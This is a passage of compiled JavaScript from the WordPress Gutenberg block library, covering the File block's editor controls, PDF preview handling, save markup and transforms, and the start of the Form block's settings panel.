        type: "string",
        source: "html",
        selector: "a:not([download])"
      },
      textLinkHref: {
        type: "string",
        source: "attribute",
        selector: "a:not([download])",
        attribute: "href"
      },
      textLinkTarget: {
        type: "string",
        source: "attribute",
        selector: "a:not([download])",
        attribute: "target"
      },
      showDownloadButton: {
        type: "boolean",
        default: true
      },
      downloadButtonText: {
        type: "string",
        source: "html",
        selector: "a[download]"
      },
      displayPreview: {
        type: "boolean"
      },
      previewHeight: {
        type: "number",
        default: 600
      }
    },
    supports: {
      anchor: true,
      align: true
    },
    save({ attributes: attributes2 }) {
      const {
        href,
        fileName,
        textLinkHref,
        textLinkTarget,
        showDownloadButton,
        downloadButtonText,
        displayPreview,
        previewHeight
      } = attributes2;
      const pdfEmbedLabel = import_block_editor78.RichText.isEmpty(fileName) ? (0, import_i18n62.__)("PDF embed") : (0, import_i18n62.sprintf)(
        /* translators: %s: filename. */
        (0, import_i18n62.__)("Embed of %s."),
        fileName
      );
      return href && /* @__PURE__ */ (0, import_jsx_runtime238.jsxs)("div", { ...import_block_editor78.useBlockProps.save(), children: [
        displayPreview && /* @__PURE__ */ (0, import_jsx_runtime238.jsx)(import_jsx_runtime238.Fragment, { children: /* @__PURE__ */ (0, import_jsx_runtime238.jsx)(
          "object",
          {
            className: "wp-block-file__embed",
            data: href,
            type: "application/pdf",
            style: {
              width: "100%",
              height: `${previewHeight}px`
            },
            "aria-label": pdfEmbedLabel
          }
        ) }),
        !import_block_editor78.RichText.isEmpty(fileName) && /* @__PURE__ */ (0, import_jsx_runtime238.jsx)(
          "a",
          {
            href: textLinkHref,
            target: textLinkTarget,
            rel: textLinkTarget ? "noreferrer noopener" : void 0,
            children: /* @__PURE__ */ (0, import_jsx_runtime238.jsx)(import_block_editor78.RichText.Content, { value: fileName })
          }
        ),
        showDownloadButton && /* @__PURE__ */ (0, import_jsx_runtime238.jsx)(
          "a",
          {
            href,
            className: "wp-block-file__button",
            download: true,
            children: /* @__PURE__ */ (0, import_jsx_runtime238.jsx)(import_block_editor78.RichText.Content, { value: downloadButtonText })
          }
        )
      ] });
    }
  };
  var deprecated6 = [v32, v26, v114];
  var deprecated_default16 = deprecated6;

  // packages/block-library/build-module/file/edit.mjs
  var import_blob7 = __toESM(require_blob(), 1);
  var import_components42 = __toESM(require_components(), 1);
  var import_data33 = __toESM(require_data(), 1);
  var import_block_editor80 = __toESM(require_block_editor(), 1);
  var import_element29 = __toESM(require_element(), 1);
  var import_compose19 = __toESM(require_compose(), 1);
  var import_i18n64 = __toESM(require_i18n(), 1);
  var import_core_data18 = __toESM(require_core_data(), 1);
  var import_notices5 = __toESM(require_notices(), 1);
  var import_url7 = __toESM(require_url(), 1);

  // packages/block-library/build-module/file/inspector.mjs
  var import_i18n63 = __toESM(require_i18n(), 1);
  var import_components41 = __toESM(require_components(), 1);
  var import_block_editor79 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime239 = __toESM(require_jsx_runtime(), 1);
  function FileBlockInspector({
    hrefs,
    openInNewWindow,
    showDownloadButton,
    changeLinkDestinationOption,
    changeOpenInNewWindow,
    changeShowDownloadButton,
    displayPreview,
    changeDisplayPreview,
    previewHeight,
    changePreviewHeight
  }) {
    const { href, textLinkHref, attachmentPage } = hrefs;
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    let linkDestinationOptions = [{ value: href, label: (0, import_i18n63.__)("URL") }];
    if (attachmentPage) {
      linkDestinationOptions = [
        { value: href, label: (0, import_i18n63.__)("Media file") },
        { value: attachmentPage, label: (0, import_i18n63.__)("Attachment page") }
      ];
    }
    return /* @__PURE__ */ (0, import_jsx_runtime239.jsx)(import_jsx_runtime239.Fragment, { children: /* @__PURE__ */ (0, import_jsx_runtime239.jsxs)(import_block_editor79.InspectorControls, { children: [
      href.endsWith(".pdf") && /* @__PURE__ */ (0, import_jsx_runtime239.jsxs)(
        import_components41.__experimentalToolsPanel,
        {
          label: (0, import_i18n63.__)("PDF settings"),
          resetAll: () => {
            changeDisplayPreview(true);
            changePreviewHeight(600);
          },
          dropdownMenuProps,
          children: [
            /* @__PURE__ */ (0, import_jsx_runtime239.jsx)(
              import_components41.__experimentalToolsPanelItem,
              {
                label: (0, import_i18n63.__)("Show inline embed"),
                isShownByDefault: true,
                hasValue: () => !displayPreview,
                onDeselect: () => changeDisplayPreview(true),
                children: /* @__PURE__ */ (0, import_jsx_runtime239.jsx)(
                  import_components41.ToggleControl,
                  {
                    label: (0, import_i18n63.__)("Show inline embed"),
                    help: displayPreview ? (0, import_i18n63.__)(
                      "Note: Most phone and tablet browsers won't display embedded PDFs."
                    ) : null,
                    checked: !!displayPreview,
                    onChange: changeDisplayPreview
                  }
                )
              }
            ),
            displayPreview && /* @__PURE__ */ (0, import_jsx_runtime239.jsx)(
              import_components41.__experimentalToolsPanelItem,
              {
                label: (0, import_i18n63.__)("Height in pixels"),
                isShownByDefault: true,
                hasValue: () => previewHeight !== 600,
                onDeselect: () => changePreviewHeight(600),
                children: /* @__PURE__ */ (0, import_jsx_runtime239.jsx)(
                  import_components41.RangeControl,
                  {
                    __next40pxDefaultSize: true,
                    label: (0, import_i18n63.__)("Height in pixels"),
                    min: MIN_PREVIEW_HEIGHT,
                    max: Math.max(
                      MAX_PREVIEW_HEIGHT,
                      previewHeight
                    ),
                    value: previewHeight,
                    onChange: changePreviewHeight
                  }
                )
              }
            )
          ]
        }
      ),
      /* @__PURE__ */ (0, import_jsx_runtime239.jsxs)(
        import_components41.__experimentalToolsPanel,
        {
          label: (0, import_i18n63.__)("Settings"),
          resetAll: () => {
            changeLinkDestinationOption(href);
            changeOpenInNewWindow(false);
            changeShowDownloadButton(true);
          },
          dropdownMenuProps,
          children: [
            /* @__PURE__ */ (0, import_jsx_runtime239.jsx)(
              import_components41.__experimentalToolsPanelItem,
              {
                label: (0, import_i18n63.__)("Link to"),
                isShownByDefault: true,
                hasValue: () => textLinkHref !== href,
                onDeselect: () => changeLinkDestinationOption(href),
                children: /* @__PURE__ */ (0, import_jsx_runtime239.jsx)(
                  import_components41.SelectControl,
                  {
                    __next40pxDefaultSize: true,
                    label: (0, import_i18n63.__)("Link to"),
                    value: textLinkHref,
                    options: linkDestinationOptions,
                    onChange: changeLinkDestinationOption
                  }
                )
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime239.jsx)(
              import_components41.__experimentalToolsPanelItem,
              {
                label: (0, import_i18n63.__)("Open in new tab"),
                isShownByDefault: true,
                hasValue: () => !!openInNewWindow,
                onDeselect: () => changeOpenInNewWindow(false),
                children: /* @__PURE__ */ (0, import_jsx_runtime239.jsx)(
                  import_components41.ToggleControl,
                  {
                    label: (0, import_i18n63.__)("Open in new tab"),
                    checked: openInNewWindow,
                    onChange: changeOpenInNewWindow
                  }
                )
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime239.jsx)(
              import_components41.__experimentalToolsPanelItem,
              {
                label: (0, import_i18n63.__)("Show download button"),
                isShownByDefault: true,
                hasValue: () => !showDownloadButton,
                onDeselect: () => changeShowDownloadButton(true),
                children: /* @__PURE__ */ (0, import_jsx_runtime239.jsx)(
                  import_components41.ToggleControl,
                  {
                    label: (0, import_i18n63.__)("Show download button"),
                    checked: showDownloadButton,
                    onChange: changeShowDownloadButton
                  }
                )
              }
            )
          ]
        }
      )
    ] }) });
  }

  // packages/block-library/build-module/file/utils/index.mjs
  var browserSupportsPdfs = () => {
    if (window.navigator.pdfViewerEnabled) {
      return true;
    }
    if (window.navigator.userAgent.indexOf("Mobi") > -1) {
      return false;
    }
    if (window.navigator.userAgent.indexOf("Android") > -1) {
      return false;
    }
    if (window.navigator.userAgent.indexOf("Macintosh") > -1 && window.navigator.maxTouchPoints && window.navigator.maxTouchPoints > 2) {
      return false;
    }
    if (!!(window.ActiveXObject || "ActiveXObject" in window) && !(createActiveXObject("AcroPDF.PDF") || createActiveXObject("PDF.PdfCtrl"))) {
      return false;
    }
    return true;
  };
  var createActiveXObject = (type) => {
    let ax;
    try {
      ax = new window.ActiveXObject(type);
    } catch (e2) {
      ax = void 0;
    }
    return ax;
  };

  // packages/block-library/build-module/file/edit.mjs
  var import_jsx_runtime240 = __toESM(require_jsx_runtime(), 1);
  var MIN_PREVIEW_HEIGHT = 200;
  var MAX_PREVIEW_HEIGHT = 2e3;
  function ClipboardToolbarButton({ text, disabled }) {
    const { createNotice } = (0, import_data33.useDispatch)(import_notices5.store);
    const ref = (0, import_compose19.useCopyToClipboard)(text, () => {
      createNotice("info", (0, import_i18n64.__)("Copied URL to clipboard."), {
        isDismissible: true,
        type: "snackbar"
      });
    });
    return /* @__PURE__ */ (0, import_jsx_runtime240.jsx)(
      import_components42.ToolbarButton,
      {
        className: "components-clipboard-toolbar-button",
        ref,
        disabled,
        children: (0, import_i18n64.__)("Copy URL")
      }
    );
  }
  function FileEdit({ attributes: attributes2, isSelected, setAttributes, clientId }) {
    const {
      id,
      fileName,
      href,
      textLinkHref,
      textLinkTarget,
      showDownloadButton,
      downloadButtonText,
      displayPreview,
      previewHeight
    } = attributes2;
    const [temporaryURL, setTemporaryURL] = (0, import_element29.useState)(attributes2.blob);
    const { media } = (0, import_data33.useSelect)(
      (select9) => ({
        media: id === void 0 ? void 0 : select9(import_core_data18.store).getEntityRecord(
          "postType",
          "attachment",
          id
        )
      }),
      [id]
    );
    const { createErrorNotice } = (0, import_data33.useDispatch)(import_notices5.store);
    const { toggleSelection, __unstableMarkNextChangeAsNotPersistent } = (0, import_data33.useDispatch)(import_block_editor80.store);
    useUploadMediaFromBlobURL({
      url: temporaryURL,
      onChange: onSelectFile,
      onError: onUploadError
    });
    (0, import_element29.useEffect)(() => {
      if (import_block_editor80.RichText.isEmpty(downloadButtonText)) {
        __unstableMarkNextChangeAsNotPersistent();
        setAttributes({
          downloadButtonText: (0, import_i18n64._x)("Download", "button label")
        });
      }
    }, []);
    function onSelectFile(newMedia) {
      if (!newMedia || !newMedia.url) {
        setAttributes({
          href: void 0,
          fileName: void 0,
          textLinkHref: void 0,
          id: void 0,
          fileId: void 0,
          displayPreview: void 0,
          previewHeight: void 0
        });
        setTemporaryURL();
        return;
      }
      if ((0, import_blob7.isBlobURL)(newMedia.url)) {
        setTemporaryURL(newMedia.url);
        return;
      }
      const isPdf = (
        // Media Library and REST API use different properties for mime type.
        (newMedia.mime || newMedia.mime_type) === "application/pdf" || (0, import_url7.getFilename)(newMedia.url).toLowerCase().endsWith(".pdf")
      );
      const pdfAttributes = {
        displayPreview: isPdf ? attributes2.displayPreview ?? true : void 0,
        previewHeight: isPdf ? attributes2.previewHeight ?? 600 : void 0
      };
      setAttributes({
        href: newMedia.url,
        fileName: newMedia.title,
        textLinkHref: newMedia.url,
        id: newMedia.id,
        fileId: `wp-block-file--media-${clientId}`,
        blob: void 0,
        ...pdfAttributes
      });
      setTemporaryURL();
    }
    function onUploadError(message) {
      setAttributes({ href: void 0 });
      createErrorNotice(message, { type: "snackbar" });
    }
    function changeLinkDestinationOption(newHref) {
      setAttributes({ textLinkHref: newHref });
    }
    function changeOpenInNewWindow(newValue) {
      setAttributes({
        textLinkTarget: newValue ? "_blank" : false
      });
    }
    function changeShowDownloadButton(newValue) {
      setAttributes({ showDownloadButton: newValue });
    }
    function changeDisplayPreview(newValue) {
      setAttributes({ displayPreview: newValue });
    }
    function handleOnResizeStop(event, direction, elt, delta) {
      toggleSelection(true);
      const newHeight = parseInt(previewHeight + delta.height, 10);
      setAttributes({ previewHeight: newHeight });
    }
    function changePreviewHeight(newValue) {
      const newHeight = Math.max(
        parseInt(newValue, 10),
        MIN_PREVIEW_HEIGHT
      );
      setAttributes({ previewHeight: newHeight });
    }
    const attachmentPage = media && media.link;
    const blockProps = (0, import_block_editor80.useBlockProps)({
      className: clsx_default(
        !!temporaryURL && (0, import_components42.__unstableGetAnimateClassName)({ type: "loading" }),
        {
          "is-transient": !!temporaryURL
        }
      )
    });
    const displayPreviewInEditor = browserSupportsPdfs() && displayPreview;
    if (!href && !temporaryURL) {
      return /* @__PURE__ */ (0, import_jsx_runtime240.jsx)("div", { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime240.jsx)(
        import_block_editor80.MediaPlaceholder,
        {
          icon: /* @__PURE__ */ (0, import_jsx_runtime240.jsx)(import_block_editor80.BlockIcon, { icon: file_default }),
          labels: {
            title: (0, import_i18n64.__)("File"),
            instructions: (0, import_i18n64.__)(
              "Drag and drop a file, upload, or choose from your library."
            )
          },
          onSelect: onSelectFile,
          onError: onUploadError,
          accept: "*"
        }
      ) });
    }
    return /* @__PURE__ */ (0, import_jsx_runtime240.jsxs)(import_jsx_runtime240.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime240.jsx)(
        FileBlockInspector,
        {
          hrefs: {
            href: href || temporaryURL,
            textLinkHref,
            attachmentPage
          },
          ...{
            openInNewWindow: !!textLinkTarget,
            showDownloadButton,
            changeLinkDestinationOption,
            changeOpenInNewWindow,
            changeShowDownloadButton,
            displayPreview,
            changeDisplayPreview,
            previewHeight,
            changePreviewHeight
          }
        }
      ),
      /* @__PURE__ */ (0, import_jsx_runtime240.jsxs)(import_block_editor80.BlockControls, { group: "other", children: [
        /* @__PURE__ */ (0, import_jsx_runtime240.jsx)(
          import_block_editor80.MediaReplaceFlow,
          {
            mediaId: id,
            mediaURL: href,
            accept: "*",
            onSelect: onSelectFile,
            onError: onUploadError,
            onReset: () => onSelectFile(void 0)
          }
        ),
        /* @__PURE__ */ (0, import_jsx_runtime240.jsx)(
          ClipboardToolbarButton,
          {
            text: href,
            disabled: (0, import_blob7.isBlobURL)(href)
          }
        )
      ] }),
      /* @__PURE__ */ (0, import_jsx_runtime240.jsxs)("div", { ...blockProps, children: [
        displayPreviewInEditor && /* @__PURE__ */ (0, import_jsx_runtime240.jsxs)(
          import_components42.ResizableBox,
          {
            size: { height: previewHeight, width: "100%" },
            minHeight: MIN_PREVIEW_HEIGHT,
            maxHeight: MAX_PREVIEW_HEIGHT,
            grid: [1, 10],
            enable: {
              top: false,
              right: false,
              bottom: true,
              left: false,
              topRight: false,
              bottomRight: false,
              bottomLeft: false,
              topLeft: false
            },
            onResizeStart: () => toggleSelection(false),
            onResizeStop: handleOnResizeStop,
            showHandle: isSelected,
            children: [
              /* @__PURE__ */ (0, import_jsx_runtime240.jsx)(
                "object",
                {
                  className: "wp-block-file__preview",
                  data: href,
                  type: "application/pdf",
                  "aria-label": (0, import_i18n64.__)(
                    "Embed of the selected PDF file."
                  )
                }
              ),
              !isSelected && /* @__PURE__ */ (0, import_jsx_runtime240.jsx)("div", { className: "wp-block-file__preview-overlay" })
            ]
          }
        ),
        /* @__PURE__ */ (0, import_jsx_runtime240.jsxs)("div", { className: "wp-block-file__content-wrapper", children: [
          /* @__PURE__ */ (0, import_jsx_runtime240.jsx)(
            import_block_editor80.RichText,
            {
              identifier: "fileName",
              tagName: "a",
              value: fileName,
              placeholder: (0, import_i18n64.__)("Write file name\u2026"),
              withoutInteractiveFormatting: true,
              onChange: (text) => setAttributes({
                fileName: removeAnchorTag(text)
              }),
              href: textLinkHref
            }
          ),
          showDownloadButton && /* @__PURE__ */ (0, import_jsx_runtime240.jsx)("div", { className: "wp-block-file__button-richtext-wrapper", children: /* @__PURE__ */ (0, import_jsx_runtime240.jsx)(
            import_block_editor80.RichText,
            {
              identifier: "downloadButtonText",
              tagName: "div",
              "aria-label": (0, import_i18n64.__)("Download button text"),
              className: clsx_default(
                "wp-block-file__button",
                (0, import_block_editor80.__experimentalGetElementClassName)(
                  "button"
                )
              ),
              value: downloadButtonText,
              withoutInteractiveFormatting: true,
              placeholder: (0, import_i18n64.__)("Add text\u2026"),
              onChange: (text) => setAttributes({
                downloadButtonText: removeAnchorTag(text)
              })
            }
          ) })
        ] })
      ] })
    ] });
  }
  var edit_default10 = FileEdit;

  // packages/block-library/build-module/file/block.json
  var block_default33 = {
    $schema: "https://schemas.wp.org/trunk/block.json",
    apiVersion: 3,
    name: "core/file",
    title: "File",
    category: "media",
    description: "Add a link to a downloadable file.",
    keywords: ["document", "pdf", "download"],
    textdomain: "default",
    attributes: {
      id: {
        type: "number"
      },
      blob: {
        type: "string",
        role: "local"
      },
      href: {
        type: "string",
        role: "content"
      },
      fileId: {
        type: "string",
        source: "attribute",
        selector: "a:not([download])",
        attribute: "id"
      },
      fileName: {
        type: "rich-text",
        source: "rich-text",
        selector: "a:not([download])",
        role: "content"
      },
      textLinkHref: {
        type: "string",
        source: "attribute",
        selector: "a:not([download])",
        attribute: "href",
        role: "content"
      },
      textLinkTarget: {
        type: "string",
        source: "attribute",
        selector: "a:not([download])",
        attribute: "target"
      },
      showDownloadButton: {
        type: "boolean",
        default: true
      },
      downloadButtonText: {
        type: "rich-text",
        source: "rich-text",
        selector: "a[download]",
        role: "content"
      },
      displayPreview: {
        type: "boolean"
      },
      previewHeight: {
        type: "number",
        default: 600
      }
    },
    supports: {
      anchor: true,
      align: true,
      spacing: {
        margin: true,
        padding: true
      },
      color: {
        gradients: true,
        link: true,
        text: false,
        __experimentalDefaultControls: {
          background: true,
          link: true
        }
      },
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true,
        __experimentalDefaultControls: {
          radius: true,
          color: true,
          width: true,
          style: true
        }
      },
      interactivity: true
    },
    editorStyle: "wp-block-file-editor",
    style: "wp-block-file"
  };

  // packages/block-library/build-module/file/save.mjs
  var import_block_editor81 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime241 = __toESM(require_jsx_runtime(), 1);
  function save17({ attributes: attributes2 }) {
    const {
      href,
      fileId,
      fileName,
      textLinkHref,
      textLinkTarget,
      showDownloadButton,
      downloadButtonText,
      displayPreview,
      previewHeight
    } = attributes2;
    const pdfEmbedLabel = import_block_editor81.RichText.isEmpty(fileName) ? "PDF embed" : (
      // To do: use toPlainText, but we need ensure it's RichTextData. See
      // https://github.com/WordPress/gutenberg/pull/56710.
      fileName.toString()
    );
    const hasFilename = !import_block_editor81.RichText.isEmpty(fileName);
    const describedById = hasFilename ? fileId : void 0;
    return href && /* @__PURE__ */ (0, import_jsx_runtime241.jsxs)("div", { ...import_block_editor81.useBlockProps.save(), children: [
      displayPreview && /* @__PURE__ */ (0, import_jsx_runtime241.jsx)(import_jsx_runtime241.Fragment, { children: /* @__PURE__ */ (0, import_jsx_runtime241.jsx)(
        "object",
        {
          className: "wp-block-file__embed",
          data: href,
          type: "application/pdf",
          style: {
            width: "100%",
            height: `${previewHeight}px`
          },
          "aria-label": pdfEmbedLabel
        }
      ) }),
      hasFilename && /* @__PURE__ */ (0, import_jsx_runtime241.jsx)(
        "a",
        {
          id: describedById,
          href: textLinkHref,
          target: textLinkTarget,
          rel: textLinkTarget ? "noreferrer noopener" : void 0,
          children: /* @__PURE__ */ (0, import_jsx_runtime241.jsx)(import_block_editor81.RichText.Content, { value: fileName })
        }
      ),
      showDownloadButton && /* @__PURE__ */ (0, import_jsx_runtime241.jsx)(
        "a",
        {
          href,
          className: clsx_default(
            "wp-block-file__button",
            (0, import_block_editor81.__experimentalGetElementClassName)("button")
          ),
          download: true,
          "aria-describedby": describedById,
          children: /* @__PURE__ */ (0, import_jsx_runtime241.jsx)(import_block_editor81.RichText.Content, { value: downloadButtonText })
        }
      )
    ] });
  }

  // packages/block-library/build-module/file/transforms.mjs
  var import_blob8 = __toESM(require_blob(), 1);
  var import_blocks27 = __toESM(require_blocks(), 1);
  var import_data34 = __toESM(require_data(), 1);
  var import_core_data19 = __toESM(require_core_data(), 1);
  var import_url8 = __toESM(require_url(), 1);
  var transforms8 = {
    from: [
      {
        type: "files",
        isMatch(files) {
          return files.length > 0;
        },
        // We define a lower priority (higher number) than the default of 10. This
        // ensures that the File block is only created as a fallback.
        priority: 15,
        transform: (files) => {
          const blocks = [];
          files.forEach((file) => {
            const blobURL = (0, import_blob8.createBlobURL)(file);
            if (file.type.startsWith("video/")) {
              blocks.push(
                (0, import_blocks27.createBlock)("core/video", {
                  blob: (0, import_blob8.createBlobURL)(file)
                })
              );
            } else if (file.type.startsWith("image/")) {
              blocks.push(
                (0, import_blocks27.createBlock)("core/image", {
                  blob: (0, import_blob8.createBlobURL)(file)
                })
              );
            } else if (file.type.startsWith("audio/")) {
              blocks.push(
                (0, import_blocks27.createBlock)("core/audio", {
                  blob: (0, import_blob8.createBlobURL)(file)
                })
              );
            } else {
              blocks.push(
                (0, import_blocks27.createBlock)("core/file", {
                  blob: blobURL,
                  fileName: file.name
                })
              );
            }
          });
          return blocks;
        }
      },
      {
        type: "block",
        blocks: ["core/audio"],
        transform: (attributes2) => {
          return (0, import_blocks27.createBlock)("core/file", {
            href: attributes2.src,
            fileName: attributes2.caption,
            textLinkHref: attributes2.src,
            id: attributes2.id,
            anchor: attributes2.anchor
          });
        }
      },
      {
        type: "block",
        blocks: ["core/video"],
        transform: (attributes2) => {
          return (0, import_blocks27.createBlock)("core/file", {
            href: attributes2.src,
            fileName: attributes2.caption,
            textLinkHref: attributes2.src,
            id: attributes2.id,
            anchor: attributes2.anchor
          });
        }
      },
      {
        type: "block",
        blocks: ["core/image"],
        transform: (attributes2) => {
          return (0, import_blocks27.createBlock)("core/file", {
            href: attributes2.url,
            fileName: attributes2.caption || (0, import_url8.getFilename)(attributes2.url),
            textLinkHref: attributes2.url,
            id: attributes2.id,
            anchor: attributes2.anchor
          });
        }
      }
    ],
    to: [
      {
        type: "block",
        blocks: ["core/audio"],
        isMatch: ({ id }) => {
          if (!id) {
            return false;
          }
          const { getEntityRecord } = (0, import_data34.select)(import_core_data19.store);
          const media = getEntityRecord("postType", "attachment", id);
          return !!media && media.mime_type.includes("audio");
        },
        transform: (attributes2) => {
          return (0, import_blocks27.createBlock)("core/audio", {
            src: attributes2.href,
            caption: attributes2.fileName,
            id: attributes2.id,
            anchor: attributes2.anchor
          });
        }
      },
      {
        type: "block",
        blocks: ["core/video"],
        isMatch: ({ id }) => {
          if (!id) {
            return false;
          }
          const { getEntityRecord } = (0, import_data34.select)(import_core_data19.store);
          const media = getEntityRecord("postType", "attachment", id);
          return !!media && media.mime_type.includes("video");
        },
        transform: (attributes2) => {
          return (0, import_blocks27.createBlock)("core/video", {
            src: attributes2.href,
            caption: attributes2.fileName,
            id: attributes2.id,
            anchor: attributes2.anchor
          });
        }
      },
      {
        type: "block",
        blocks: ["core/image"],
        isMatch: ({ id }) => {
          if (!id) {
            return false;
          }
          const { getEntityRecord } = (0, import_data34.select)(import_core_data19.store);
          const media = getEntityRecord("postType", "attachment", id);
          return !!media && media.mime_type.includes("image");
        },
        transform: (attributes2) => {
          return (0, import_blocks27.createBlock)("core/image", {
            url: attributes2.href,
            caption: attributes2.fileName,
            id: attributes2.id,
            anchor: attributes2.anchor
          });
        }
      }
    ]
  };
  var transforms_default9 = transforms8;

  // packages/block-library/build-module/file/index.mjs
  var { fieldsKey: fieldsKey6, formKey: formKey6 } = unlock(import_blocks28.privateApis);
  var { name: name33 } = block_default33;
  var settings33 = {
    icon: file_default,
    example: {
      attributes: {
        href: "https://upload.wikimedia.org/wikipedia/commons/d/dd/Armstrong_Small_Step.ogg",
        fileName: (0, import_i18n65._x)("Armstrong_Small_Step", "Name of the file")
      }
    },
    transforms: transforms_default9,
    deprecated: deprecated_default16,
    edit: edit_default10,
    save: save17
  };
  if (window.__experimentalContentOnlyInspectorFields) {
    settings33[fieldsKey6] = [
      {
        id: "file",
        label: (0, import_i18n65.__)("File"),
        type: "media",
        Edit: {
          control: "media",
          // TODO: replace with custom component
          allowedTypes: [],
          multiple: false
        },
        getValue: ({ item }) => ({
          id: item.id,
          url: item.href
        }),
        setValue: ({ value }) => ({
          id: value.id,
          href: value.url
        })
      },
      {
        id: "fileName",
        label: (0, import_i18n65.__)("Filename"),
        type: "text",
        Edit: "rich-text"
        // TODO: replace with custom component
      },
      {
        id: "downloadButtonText",
        label: (0, import_i18n65.__)("Button Text"),
        type: "text",
        Edit: "rich-text"
        // TODO: replace with custom component
      }
    ];
    settings33[formKey6] = {
      fields: ["file", "fileName", "downloadButtonText"]
    };
  }
  var init33 = () => initBlock({ name: name33, metadata: block_default33, settings: settings33 });

  // packages/block-library/build-module/form/index.mjs
  var form_exports = {};
  __export(form_exports, {
    init: () => init34,
    metadata: () => block_default34,
    name: () => name34,
    settings: () => settings34
  });
  var import_hooks26 = __toESM(require_hooks(), 1);

  // packages/block-library/build-module/form/edit.mjs
  var import_i18n67 = __toESM(require_i18n(), 1);
  var import_block_editor82 = __toESM(require_block_editor(), 1);
  var import_components43 = __toESM(require_components(), 1);
  var import_data35 = __toESM(require_data(), 1);

  // packages/block-library/build-module/form/utils.mjs
  var import_i18n66 = __toESM(require_i18n(), 1);
  var formSubmissionNotificationSuccess = [
    "core/form-submission-notification",
    {
      type: "success"
    },
    [
      [
        "core/paragraph",
        {
          content: '<mark style="background-color:rgba(0, 0, 0, 0);color:#345C00" class="has-inline-color">' + (0, import_i18n66.__)("Your form has been submitted successfully") + "</mark>"
        }
      ]
    ]
  ];
  var formSubmissionNotificationError = [
    "core/form-submission-notification",
    {
      type: "error"
    },
    [
      [
        "core/paragraph",
        {
          content: '<mark style="background-color:rgba(0, 0, 0, 0);color:#CF2E2E" class="has-inline-color">' + (0, import_i18n66.__)("There was an error submitting your form.") + "</mark>"
        }
      ]
    ]
  ];

  // packages/block-library/build-module/form/edit.mjs
  var import_jsx_runtime242 = __toESM(require_jsx_runtime(), 1);
  var TEMPLATE6 = [
    formSubmissionNotificationSuccess,
    formSubmissionNotificationError,
    [
      "core/form-input",
      {
        type: "text",
        label: (0, import_i18n67.__)("Name"),
        required: true
      }
    ],
    [
      "core/form-input",
      {
        type: "email",
        label: (0, import_i18n67.__)("Email"),
        required: true
      }
    ],
    [
      "core/form-input",
      {
        type: "textarea",
        label: (0, import_i18n67.__)("Comment"),
        required: true
      }
    ],
    ["core/form-submit-button", {}]
  ];
  var Edit13 = ({ attributes: attributes2, setAttributes, clientId }) => {
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    const resetAllSettings = () => {
      setAttributes({
        submissionMethod: "email",
        email: void 0,
        action: void 0,
        method: "post"
      });
    };
    const { action, method, email, submissionMethod } = attributes2;
    const blockProps = (0, import_block_editor82.useBlockProps)();
    const { hasInnerBlocks } = (0, import_data35.useSelect)(
      (select9) => {
        const { getBlock } = select9(import_block_editor82.store);
        const block = getBlock(clientId);
        return {
          hasInnerBlocks: !!(block && block.innerBlocks.length)
        };
      },
      [clientId]
    );
    const innerBlocksProps = (0, import_block_editor82.useInnerBlocksProps)(blockProps, {
      template: TEMPLATE6,
      renderAppender: hasInnerBlocks ? void 0 : import_block_editor82.InnerBlocks.ButtonBlockAppender
    });
    return /* @__PURE__ */ (0, import_jsx_runtime242.jsxs)(import_jsx_runtime242.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime242.jsx)(import_block_editor82.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime242.jsxs)(
        import_components43.__experimentalToolsPanel,
        {
          dropdownMenuProps,
          label: (0, import_i18n67.__)("Settings"),
          resetAll: resetAllSettings,
          children: [
            /* @__PURE__ */ (0, import_jsx_runtime242.jsx)(
              import_components43.__experimentalToolsPanelItem,
              {
                hasValue: () => submissionMethod !== "email",
                label: (0, import_i18n67.__)("Submissions method"),
                onDeselect: () => setAttributes({
                  submissionMethod: "email"
                }),
                isShownByDefault: true,
                children: /* @__PURE__ */ (0, import_jsx_runtime242.jsx)(
                  import_components43.SelectControl,
                  {
                    __next40pxDefaultSize: true,
                    label: (0, import_i18n67.__)("Submissions method"),
                    options: [
                      // TODO: Allow plugins to add their own submission methods.
                      {
                        label: (0, import_i18n67.__)("Send email"),
                        value: "email"
                      },
                      {
                        label: (0, import_i18n67.__)("- Custom -"),
                        value: "custom"
                      }
                    ],
                    value: submissionMethod,
                    onChange: (value) => setAttributes({ submissionMethod: value }),
                    help: submissionMethod === "custom" ? (0, import_i18n67.__)(
                      'Select the method to use for form submissions. Additional options for the "custom" mode can be found in the "Advanced" section.'
                    ) : (0, import_i18n67.__)(
                      "Select the method to use for form submissions."
                    )
                  }
                )
              }
            ),
            submissionMethod === "email" && /* @__PURE__ */ (0, import_jsx_runtime242.jsx)(
              import_components43.__experimentalToolsPanelItem,
              {
                hasValue: () => !!email,
                label: (0, import_i18n67.__)("Email for form submissions"),
                onDeselect: () => setAttributes({
                  email: void 0,
                  action: void 0,
                  method: "post"
                }),
                isShownByDefault: true,
                children: /* @__PURE__ */ (0, import_jsx_runtime242.jsx)(
                  import_components43.TextControl,
                  {
                    __next40pxDefaultSize: true,
                    autoComplete: "off",
                    label: (0, import_i18n67.__)("Email for form submissions"),
                    value: email || "",
                    required: true,
                    onChange: (value) => {
                      setAttributes({ email: value });
                      setAttributes({
                        action: `mailto:${value}`
                      });
                      setAttributes({ method: "post" });
                    },
                    help: (0, import_i18n67.__)(
                      "The email address where form submissions will be sent. Separate multiple email addresses with a comma."
                    ),
                    type: "email"
                  }
                )
              }
            )
          ]
        }
      ) }),
      submissionMethod !== "email" && /* @__PURE__ */ (0, import_jsx_runtime242.jsxs)(import_block_editor82.InspectorControls, { group: "advanced", children: [
        /* @__PURE__ */ (0, import_jsx_runtime242.jsx)(
          import_components43.SelectControl,
          {
            __next40pxDefaultSize: true,
            label: (0, import_i18n67.__)("Method"),
            options: [
              { label: "Get", value: "get" },
              { label: "Post", value: "post" }
            ],
            value: method,
            onChange: (value) => setAttributes({ method: value }),
            help: (0, import_i18n67.__)(
              "Select the method to use for form submissions."
            )
          }
        ),
        /* @__PURE__ */ (0, import_jsx_runtime242.jsx)(
          import_components43.TextControl,
          {
            __next40pxDefaultSize: true,
            autoComplete: "off",
            label: (0, import_i18n67.__)("Form action"),
            value: action,
